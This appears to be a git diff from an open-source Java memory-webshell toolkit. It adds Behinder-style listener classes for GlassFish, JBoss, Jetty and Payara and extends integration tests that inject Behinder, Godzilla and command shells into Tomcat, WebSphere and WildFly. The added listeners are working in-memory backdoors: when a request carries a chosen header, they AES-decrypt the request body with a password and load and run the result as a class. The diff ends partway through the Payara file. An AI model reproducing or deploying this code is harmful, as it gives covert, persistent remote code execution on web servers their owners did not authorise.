Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index d319ecc2..4d1e9af4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; @@ -41,18 +41,26 @@ public class Tomcat9ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index 929d6491..bbb5f24f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.websphere; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -42,10 +42,13 @@ public class WebSphere855ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index d9dfa404..169e725f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.websphere; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -42,8 +42,13 @@ public class WebSphere905ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 2ef55d35..336cc30d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,10 +41,13 @@ public class Wildfly18ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 606dba74..e1267cbe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,10 +41,13 @@ public class Wildfly23ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index 52876ad3..c72ad0dd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,10 +41,13 @@ public class Wildfly30ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 5fa7f446..bc1a62ef 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.wildfly; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -44,14 +44,20 @@ public class Wildfly9ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/memshell/build.gradle b/memshell/build.gradle index 4427f980..8613ca79 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -26,12 +26,4 @@ dependencies { exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' } - - - testImplementation platform('org.junit:junit-bom:5.10.0') - testImplementation 'org.junit.jupiter:junit-jupiter' -} - -test { - useJUnitPlatform() } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java new file mode 100644 index 00000000..d3b525af --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java @@ -0,0 +1,120 @@ +package com.reajason.javaweb.memshell.glassfish.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } + +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java index 410b8afd..869006b3 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java @@ -85,9 +85,9 @@ public class GlassFishListenerInjector { @SuppressWarnings("all") public void inject(Object context, Object listener) throws Exception { - List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners", null, null); + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners", null, null); boolean isExist = false; - for (EventListener eventListener : eventListeners) { + for (Object eventListener : eventListeners) { if (eventListener.getClass().getName().equals(listener.getClass().getName())) { isExist = true; break; @@ -95,7 +95,7 @@ public class GlassFishListenerInjector { } if (!isExist) { log.info("listener added successfully"); - eventListeners.add((EventListener) listener); + eventListeners.add(listener); } else { log.warning("listener already exists"); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java new file mode 100644 index 00000000..6d71e844 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java @@ -0,0 +1,115 @@ +package com.reajason.javaweb.memshell.jboss.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java index 8c2b5587..5fc18b58 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java @@ -188,30 +188,24 @@ public class JbossListenerInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java new file mode 100644 index 00000000..34784964 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java @@ -0,0 +1,115 @@ +package com.reajason.javaweb.memshell.jetty.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java new file mode 100644 index 00000000..018b6112 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java @@ -0,0 +1,119 @@ +package com.reajason.javaweb.memshell.payara.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = 